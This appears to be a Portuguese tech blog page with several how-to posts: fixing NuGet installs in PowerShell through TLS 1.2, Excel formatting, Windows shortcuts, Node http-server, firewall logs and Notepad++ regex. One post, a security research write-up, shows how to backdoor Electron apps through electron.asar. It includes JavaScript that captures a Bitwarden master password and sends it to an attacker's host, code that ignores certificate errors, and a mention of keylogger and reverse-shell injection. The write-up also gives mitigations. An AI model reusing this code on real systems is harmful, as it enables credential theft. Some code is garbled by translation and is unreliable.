Não é possível instalar o provedor NuGet para PowerShell

 

Não é possível instalar o provedor NuGet para PowerShell

 

Antes de instalar o módulo EXO V2, precisamos instalar o módulo PowerShellGet. O problema é que não conseguimos instalar o provedor NuGet e alguns erros estão aparecendo. Aviso, não foi possível baixar do URI, não foi possível baixar a lista de provedores disponíveis. Após os erros, ele não instalou. Neste artigo, você aprenderá por que isso está acontecendo e a solução para instalar o provedor NuGet para PowerShell.

Índice

·         Não é possível instalar o provedor NuGet para PowerShell

·         Encontre a versão do PowerShell

·         Verifique os protocolos do Transport Layer Security

·         Protocolos de segurança da camada de transporte

·         Solução para não conseguir instalar o provedor NuGet para PowerShell

·         Conclusão

Não é possível instalar o provedor NuGet para PowerShell

Execute o PowerShell como administrador. Execute o comando Install-Module PowershellGet -Force . Quando solicitado a instalar o provedor NuGet, pressione Y e pressione Enter .

[PS] C:\>Install-Module PowershellGet -Force

 

NuGet provider is required to continue

PowerShellGet requires NuGet provider version '2.8.5.201' or newer to interact with NuGet-based repositories. The NuGet provider must be available in 'C:\Program Files\PackageManagement\ProviderAssemblies' or

'C:\Users\administrator.EXOIP\AppData\Local\PackageManagement\ProviderAssemblies'. You can also install the NuGet provider by running 'Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force'. Do you want PowerShellGet to install

and import the NuGet provider now?

[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y

cópia de

Depois de pressionar Y e seguir com Enter , a saída está nos dando os seguintes avisos.

·         AVISO: Não é possível baixar do URI.

·         AVISO: Impossível baixar a lista de provedores disponíveis. Verifique sua conexão com a internet.

·         Não foi possível encontrar o provedor de pacotes 'NuGet'. Não pode ser importado ainda.

WARNING: Unable to download from URI 'https://go.microsoft.com/fwlink/?LinkID=627338&clcid=0x409' to ''.

WARNING: Unable to download the list of available providers. Check your internet connection.

PackageManagement\Install-PackageProvider : No match was found for the specified search criteria for the provider 'NuGet'. The package provider requires 'PackageManagement' and 'Provider' tags. Please check if the specified package has the

tags.

At C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1:7405 char:21

+ ...     $null = PackageManagement\Install-PackageProvider -Name $script:N ...

+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : InvalidArgument: (Microsoft.Power...PackageProvider:InstallPackageProvider) [Install-PackageProvider], Exception

    + FullyQualifiedErrorId : NoMatchFoundForProvider,Microsoft.PowerShell.PackageManagement.Cmdlets.InstallPackageProvider

 

PackageManagement\Import-PackageProvider : No match was found for the specified search criteria and provider name 'NuGet'. Try 'Get-PackageProvider -ListAvailable' to see if the provider exists on the system.

At C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1:7411 char:21

+ ...     $null = PackageManagement\Import-PackageProvider -Name $script:Nu ...

+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : InvalidData: (NuGet:String) [Import-PackageProvider], Exception

    + FullyQualifiedErrorId : NoMatchFoundForCriteria,Microsoft.PowerShell.PackageManagement.Cmdlets.ImportPackageProvider

 

WARNING: Unable to download from URI 'https://go.microsoft.com/fwlink/?LinkID=627338&clcid=0x409' to ''.

WARNING: Unable to download the list of available providers. Check your internet connection.

PackageManagement\Get-PackageProvider : Unable to find package provider 'NuGet'. It may not be imported yet. Try 'Get-PackageProvider -ListAvailable'.

At C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1:7415 char:30

+ ... tProvider = PackageManagement\Get-PackageProvider -Name $script:NuGet ...

+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : ObjectNotFound: (Microsoft.Power...PackageProvider:GetPackageProvider) [Get-PackageProvider], Exception

    + FullyQualifiedErrorId : UnknownProviderFromActivatedList,Microsoft.PowerShell.PackageManagement.Cmdlets.GetPackageProvider

 

Install-Module : NuGet provider is required to interact with NuGet-based repositories. Please ensure that '2.8.5.201' or newer version of NuGet provider is installed.

At line:1 char:1

+ Install-Module PowershellGet -Force

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : InvalidOperation: (:) [Install-Module], InvalidOperationException

    + FullyQualifiedErrorId : CouldNotInstallNuGetProvider,Install-Module

cópia de

Por que estamos recebendo este erro e qual é a solução para não conseguir instalar e baixar o provedor NuGet?

Encontre a versão do PowerShell

Encontre a versão do PowerShell em execução no sistema. Usaremos o cmdlet Get-Host no Windows Server 2016.

[PS] C:\>Get-Host | Select-Object Version

 

Version

-------

5.1.14393.3471

cópia de

O PowerShell 5.1 habilita SSL 3.0 e TLS 1.0 para conexões HTTP seguras por padrão. Vamos confirmar isso na próxima etapa.

Verifique os protocolos do Transport Layer Security

Verifique os protocolos de segurança suportados no sistema.

[PS] C:\>[Net.ServicePointManager]::SecurityProtocol

Ssl3, Tls

cópia de

Como podemos ver, os protocolos de segurança definidos no sistema são SSL 3.0 e TLS 1.0 . Ambos os protocolos de segurança foram preteridos.

Protocolos de segurança da camada de transporte

Veja uma lista dos protocolos de segurança e quando eles são publicados, incluindo o status atual. No momento da redação, apenas o TLS 1.2 e o TLS 1.3 foram aprovados.

Protocol    Published    Status

--------    ---------    ------

SSL 2.0     1995         Deprecated in 2011

SSL 3.0     1996         Deprecated in 2015

TLS 1.0     1999         Deprecated in 2020

TLS 1.1     2006         Deprecated in 2020

TLS 1.2     2008

TLS 1.3     2018

cópia de

Solução para não conseguir instalar o provedor NuGet para PowerShell

Agora que reunimos todas as informações, vamos habilitar o TLS 1.2 no sistema. Execute os dois cmdlets para definir as chaves de registro de criptografia forte do .NET Framework . Depois disso, reinicie o PowerShell e verifique se o protocolo de segurança TLS 1.2 foi adicionado. Por último, instale o módulo PowerShellGet .

O primeiro cmdlet é definir criptografia forte em .Net Framework de 64 bits (versão 4 e superior).

[PS] C:\>Set-ItemProperty -Path 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\.NetFramework\v4.0.30319' -Name 'SchUseStrongCrypto' -Value '1' -Type DWord

cópia de

O segundo cmdlet é definir criptografia forte no .Net Framework de 32 bits (versão 4 e superior).

[PS] C:\>Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\.NetFramework\v4.0.30319' -Name 'SchUseStrongCrypto' -Value '1' -Type DWord

cópia de

Reinicie o Powershell e verifique os protocolos de segurança compatíveis.

[PS] C:\>[Net.ServicePointManager]::SecurityProtocol

Tls, Tls11, Tls12

cópia de

Execute o comando Install-Module PowershellGet -Force e pressione Y para instalar o provedor NuGet, depois pressione Enter .

[PS] C:\>Install-Module PowershellGet -Force

 

NuGet provider is required to continue

PowerShellGet requires NuGet provider version '2.8.5.201' or newer to interact with NuGet-based repositories. The NuGet provider must be available in 'C:\Program Files\PackageManagement\ProviderAssemblies' or

'C:\Users\administrator.EXOIP\AppData\Local\PackageManagement\ProviderAssemblies'. You can also install the NuGet provider by running 'Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force'. Do you want PowerShellGet to install

and import the NuGet provider now?

[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y

cópia de

O provedor NuGet foi baixado com sucesso. Isso funcionou para você?

Conclusão

Neste artigo, você aprendeu por que não consegue instalar o provedor NuGet para PowerShell. A solução para esse problema é configurar o TLS1.2 ou superior no sistema. Depois disso, você pode instalar o NuGet para PowerShell. Gostou deste artigo? Você também pode gostar de logs do Cleanup Exchange automaticamente com tarefas agendadas . Não se esqueça de nos seguir e compartilhar este artigo.

 

Read More

Formatação Condicional no excel com fórmulas

Como formtar condicionalmente uma tabela com valores de uma única coluna: 

Exemplo: Como formatar a seguinte tabela de forma a pintar de vemelho toda a linha caso a última coluna (data de desativação) esteja preenchida?

Selecionamos uma linha e  vamos a Formatação condicional e escolhemos Nova Regra

Selecionamos "Utilizar uma fórmula para determinar as células a serem formatadas"

Inserir a fórmula:   =$G2>0

Fixamos a coluna G ($G) mas não fixamos a linha.

Agora é só editar a regra e aplicá-la a todas as linhas:

Aplica-se a =$B$2:$G$17

Feito.

Read More

Teclas de atalho para o Windows 10

1) Windows key + A: Abre o Centro de Acção

2) Windows key + E: Abre o Windows Explorer

3) Windows key + D: Abre a Área de trabalho

4) Windows key + H: Abre a partilha de ecrã

5) Windows key + I: Abre as definições do sistema

6) Windows key + L: Bloqueia o conta ou muda de conta

7) Windows key + S: Abre a pesquisa

8) Windows key + Ctrl +D: Cria um novo ambiente de trabalho virtual

9) Windows key + Ctrl + esquerda ou direita: Muda entre ambientes de trabalho virtuais

10) Windows key + PrtScn: Tira um Screenshot

11) Windows key + Tab: Mostra os ambientes virtuais disponíveis

12) Ctrl + Shift + Esc: Abre o gestor de tarefas

13) Alt +Tab: Muda entre aplicações abertas

14) Ctrl + Alt +Tab: Ver aplicações abertas

15) Windows key + P: Projecção do ecrã

16) Windows key + Enter: Abre o narrador

17) Windows key + X: Acesso a várias funções (ex. executar, painel de controlo, etc).

18) Winkey + R: Abre janela Executar

19) Winkey + G: Abre a opção “Xbox” para consulta às opções integradas de jogo

20) Winkey + ↑ / ↓ / → / ←: Permite reposicionar janelas

21) Windows key + C: Acesso à Cortana

Nota: a Windows key corresponde à tecla que à tecla Windows

Read More

Servidor http Node.js

Update npm: 1º Passo atualizar o npm

npm update -g

Instalar módulo http-server:

    npm install --global http-server

ou 

    npm install -g http-server

Inicializar o módulo http-server:

    http-server Path -d

-d Show directory listings (defaults to true)
-p or --port Port to use (defaults to 8080). It will also read from process.env.PORT.

exemplo:

http-server c:\temp\xsd2html2xml -d

Aceder no browser em 

    http:\\localhost:8080

 Ver mais informação:

https://github.com/http-party/http-server 

Read More

Verificar logs firewall- link down flhas no RDP

 admin

introduzir a password

//entrar no modo expert

expert

introduzir a password

//consultar droped packets

ifconfig et1.20  

ethtool eth1

//verificar os logs na firewall

//foi asssim que se detetou as quebras entre o link da gateway e do GPON 

cd /var/log

ls -las | grep messages 

grep eth1 messages

//Registar ping em ficheiro com data. Executar no powershell 

//Para detetar falhas podemos fazer um tracert -d (não resolve nomes) e fazemos pings aos servidores devolvidos para verificar onde as falhas ocorrem

tracert -d 8.8.8.8

ping -t 8.8.8.8| ForEach {"{0} - {1}" -f (Get-Date),$_} > C:\temp\ping8888.txt

Read More

Exploração Básica da Framework Electron

Esta postagem do blog explica como as vulnerabilidades no Electron Framework podem permitir que um invasor injete um código malicioso dentro de um aplicativo legítimo sem gerar nenhum aviso.

Aviso: Observe que este artigo não é sobre vulnerabilidades em aplicativos Electron, mas sobre a própria Estrutura Electron. ISTO NÃO É UMA VULNERABILIDADE NOS APLICATIVOS INDIVIDUAIS.

Prova de conceito

No exemplo a seguir, todas as senhas armazenadas do usuário são exfiltradas assim que desbloqueiam o cofre.

Introdução

Electron é uma estrutura de código aberto que permite aos desenvolvedores criar aplicativos de desktop multiplataforma. Sua arquitetura é bastante simples, ele está executando Node.js como backend e está usando Chromium no frontend. Isso é efetivamente “Chrome-in-a-box” que muitas empresas adotaram a fim de fornecer suporte mais amplo para sistemas operacionais juntamente com a redução de custos de desenvolvimento. Alguns aplicativos que são implementados usando esta estrutura são Slack, Skype, WhatsApp, Signal, Discord, Twitch, VS Code, Atom, Bitwarden e GitHub Desktop. No entanto, a arquitetura dessa estrutura expõe o arquivo “electron.asar”, que permite que um invasor injete um backdoor. Resumindo, esse é um ataque de Cross-Site Scripting com algumas etapas extras.

Detalhes

Como já mencionado, este ataque não explora nenhuma vulnerabilidade nos aplicativos, mas, em vez disso, aproveita a arquitetura do Electron, o que significa que, para explorar isso, o invasor precisará ter acesso de gravação à pasta de instalação do aplicativo. Alguns aplicativos (como o Skype) são instalados no diretório Arquivos de programas do Windows, o que requer privilégios elevados. Outros aplicativos, como Slack e VS Code, são instalados na pasta Application Data do usuário, que não requer permissões especiais para modificar arquivos. Todos os aplicativos Electron possuem uma pasta em seu diretório de instalação chamada “recursos”. Normalmente, essa pasta contém os seguintes arquivos:

O primeiro arquivo, app.asar, contém o aplicativo real. O segundo arquivo, electron.asar, contém o “boot-loader” que prepara o ambiente do Chromium para rodar o aplicativo, e este é o arquivo que torna este ataque possível.

Um arquivo “ asar ” é um “formato de arquivo simples e extenso semelhante ao tar com indexação” e o Electron oferece um pacote npm para gerenciar esses arquivos (empacotar / extrair). Este arquivo, entretanto, não é criptografado, ofuscado ou protegido de nenhuma forma. Um invasor pode fazer qualquer modificação nesses arquivos e recompactá-los sem modificar a assinatura do executável real. Além disso, esse ataque funciona em todos os sistemas operacionais.

A anatomia de uma porta dos fundos

A primeira etapa é extrair o conteúdo de electron.asar, o que pode ser feito usando o pacote npm asar:

extrato de asar electron.asar ./electron

A saída deve ser semelhante a:

O arquivo que mais nos interessa é:

./electron/browser/chrome-extension.js

Ao modificar esse arquivo, podemos nos ligar a vários eventos, que aproveitaremos para injetar nossa porta dos fundos.

Para confirmar que isso funcionará, podemos injetar o seguinte código na parte inferior do arquivo:

app.on ('browser-window-focus', function (event, bWindow) { 

    bWindow.webContents.executeJavaScript ("alert ('Hello World!');") 

})

Este evento será acionado toda vez que o aplicativo estiver focado. Usamos o pacote asar para reembalar o arquivo:

asar pack ./electron electron.asar

 

Ao executar o Bitwarden, somos recebidos com uma caixa de alerta:

É bastante óbvio agora que podemos executar código JavaScript arbitrário dentro do contexto do próprio aplicativo - praticamente um XSS. Injete o seguinte snippet, que vinculará o evento de clique do botão de desbloqueio e recuperará a senha mestre depois que o usuário desbloquear o cofre:

let unlockButton = document.querySelector ('# botão de página de bloqueio'); 

unlockButton.addEventListener ('click', function () { 

    alert (document.querySelector ('# masterPassword'). value); 

});

Depois de minimizar e injetar o código da mesma maneira que antes, uma vez que o usuário desbloqueie o cofre, podemos extrair a senha mestra:

Agora que podemos obter a senha mestre, podemos passar para a próxima etapa, que seria exfiltrar a senha. Podemos fazer isso usando uma solicitação AJAX clicando no botão “Desbloquear”.

let unlockButton = document.querySelector ('# botão de página de bloqueio'); 

unlockButton.addEventListener ('click', function () { 

    let key = document.querySelector ('# masterPassword'). value; 

    let xhttp = new XMLHttpRequest (); 

    xhttp.open ('GET', 'https: // xxx. xxx.xxx.xxx/capture.php?data= '+ encodeURIComponent (chave), verdadeiro); 

    xhttp.send (); 

});

No entanto, como o Electron está executando o Chromium, se tentarmos extrair dados por SSL, precisamos garantir que nosso endpoint tenha um certificado válido. Mas como isso nem sempre é possível, podemos ignorar qualquer validação de certificado usando o evento “erro de certificado”. Seguindo nosso evento “browser-window-focus”, adicionamos o seguinte código, que irá ignorar quaisquer avisos SSL:

app.on ('erro de certificado', (evento, webContents, url, erro, certificado, callback) => { 

    event.preventDefault () 

    callback (true) 

});

Em seguida, quando o usuário desbloquear seu cofre, a senha será enviada ao local do invasor.

Usos da vida real

É importante observar que essa técnica requer acesso à máquina, que pode ser um shell ou acesso físico a ela. A primeira maneira seria injetar backdoors específicos do aplicativo (como neste exemplo), mas esse método requer a implementação de módulos direcionados. A segunda maneira seria usar isso como um método de persistência em engajamentos do Red Team (como executar um implante na inicialização).

Restrições

Embora essa técnica possa injetar código em qualquer aplicativo Electron, sua taxa de sucesso depende do próprio aplicativo. Pode não ser possível exfiltrar dados de um aplicativo, se, por exemplo, ele definir uma Política de Segurança de Conteúdo.

No entanto, a exfiltração de dados não é tudo o que pode ser feito com esse ataque. Para demonstrar as capacidades e automatizar este processo, BEEMKA foi desenvolvido. BEEMKA pode ser usado para injetar o seguinte em uma aplicação Electron:

• Keylogger
• Capturas de tela
• Câmera da Web
• Shell reverso para Windows e Linux

Exemplos e documentação podem ser encontrados em: https://github.com/ctxis/beemka .

O aplicativo Skype Electron define um CSP que o impede de enviar dados a um domínio controlado pelo invasor. No entanto, conforme demonstrado no vídeo a seguir, um backdoor de shell reverso pode ser injetado no Skype e usado para obter persistência em um host, por exemplo, em um cenário de equipe vermelha:

BEEMKA é modular, aqui está um exemplo de injeção de backdoor de captura de tela no Slack:

E aqui está uma porta dos fundos que liga a câmera do usuário:

Recomendação

No momento em que este livro foi escrito, não havia nenhuma maneira definitiva de proteção contra esse ataque. No entanto, existem atenuações que podem ser implantadas:

Se você estiver usando um aplicativo escrito em Electron (e provavelmente está):

• Certifique-se de atualizar seus aplicativos com freqüência. Quando um aplicativo é atualizado, electron.asar é geralmente substituído por uma versão limpa - removendo quaisquer backdoors.
• Instale os aplicativos como um usuário com altos privilégios (ou seja, em “Arquivos de programas”) e use-os como um usuário com poucos privilégios. Para explorar esta vulnerabilidade, o invasor não teria apenas que obter acesso ao seu host, mas também elevar seus privilégios para os de administrador.

Se você estiver desenvolvendo um aplicativo em Electron:

• Certifique-se de usar metatags CSP em seu arquivo index.html.
• Implementar e usar WebViews era possível.

Se você é um mantenedor do próprio Electron:

• Inclua electron.asar no próprio executável. Seu tamanho geralmente é em torno de 250 KB e não afetaria o desempenho do aplicativo de forma alguma.

Resumo

Seguindo o passo a passo deste artigo, demonstramos como é simples injetar código malicioso em um aplicativo legítimo sem gerar nenhum aviso. À medida que mais e mais empresas estão adotando o Electron, é fundamental garantir que os aplicativos não sejam violados.

Read More

Comandos de saída Powershell

Write-Host

O comando básico para imprimir a saída no console Powershell. Lembre-se: este comando não cria um objeto Powershell, portanto, ele não pode ser atribuído à variável . Vamos brincar com este comando ...

Write-Host

Write-Host "Poshland"

Write-Host "Poshland" -ForegroundColor Green

$x = Write-Host "Poshland" -ForegroundColor Green

$x

(Write-Host "Poshland" -ForegroundColor Green).GetType()

 

Read-Host

Este comando não é usado para preparar dados de saída de scripts e funções do PowerShell. No entanto, eu o juntei a este post porque permite a interação com o console e o script Powershell. Isso o ajudará a inserir alguma string em seu script ou console Powershell. Você pode atribuir o resultado deste comando à variável .

Read-Host "Please type your string"

$x = Read-Host "Please type your string"

$x

 

Write-Output

Este comando é muito semelhante ao Write-Host, mas tem uma deferência muito importante. O resultado deste comando pode ser atribuído à variável porque é um objeto.

Write-Output

Write-Output -InputObject "Poshland Blog"

$x = Write-Output -InputObject "Poshland Blog"

$x

$x.GetType()

 

Write-Verbose

Write-Verbose é um comando específico muito importante durante a escrita de scripts e funções do Powershell. É usado quando você deseja imprimir mais detalhes no resultado do script, mas apenas no modo Detalhado. Consultar exemplo:

 [cmdletbinding()]

 Param()

 Write-Verbose "My hide output only for verbose mode"

 Write-Output "Script output"

 

Write-Warning

O próximo comando muito importante no Powershell. Você pode usar este comando em seu script ou função para mostrar um aviso. Por padrão, ele apenas imprime a saída e você não pode atribuir os resultados desse comando à variável. No futuro, escreverei sobre os comandos “try {} catch {}” que permitirão um uso mais avançado do comando Write-Warning.

Write-Warning -Message "My Custom Warning"

$x = Write-Warning -Message "My Custom Warning"

 

Write-Error

Você costuma ver o erro vermelho no console Powershell? O comando Write-Error ajuda a preparar seu erro personalizado e exibi-lo no console do Powershell. Como um comando Write-Warning, Write-Error também pode ser mais avançado com o comando “try {} catch {}”.

Write-Error -Message "My Custom error message"

Conclusão

A lista acima o ajudará a preparar a saída em seus scripts ou console Powershell. Você pode testar todos os comandos acima agora mesmo em seu console Powershell. Qual dos comandos acima você usa com mais frequência?

Read More

Disco externo Western Digital - Web interface becomes inaccessible (503 Server temporarily overloaded)

UNKNOWN 503 Server temporarily overloaded
Date: Wed, 10 Feb 2010 06:47:24 GMT
Cache-Control: no-cache,no-store
Content-Type: text/html; charset=%s
Connection: close

<html>
    <head><title>503 Server temporarily overloaded</title></head>
<body>
    <h3>503 Server temporarily overloaded</h3>
    The server cannot process the request due to a high load
</body>
</html>

Read More

Removendo linhas duplicadas no Notepad ++

 Desde o Notepad ++ Versão 6, você pode usar este regex na caixa de diálogo de pesquisa e substituição:

^(.*?)$\s+?^(?=.*^\1$)

e substitua por nada . Isso deixa de todas as linhas duplicadas a última ocorrência no arquivo.

Nenhuma classificação é necessária para isso e as linhas duplicadas podem estar em qualquer lugar do arquivo!

Você precisa verificar as opções "Expressão regular" e ". Corresponde à nova linha":

• ^ corresponde ao início da linha.

• (.*?)corresponde a qualquer caractere 0 ou mais vezes, mas o mínimo possível (corresponde exatamente na linha, isso é necessário por causa da opção ". corresponde a nova linha"). A linha correspondente é armazenada, por causa dos colchetes ao redor e acessível usando\1

• $ corresponde ao fim da linha.

• \s+?^ esta parte corresponde a todos os caracteres de espaço em branco (novas linhas!) até o início da próxima linha ==> Isso remove as novas linhas após a linha correspondida, de forma que nenhuma linha vazia esteja lá após a substituição.

• (?=.*^\1$)esta é uma afirmação antecipada positiva. Esta é a parte importante neste regex, uma linha só é correspondida (e removida), quando há exatamente a mesma linha seguindo em algum outro lugar no arquivo.

Read More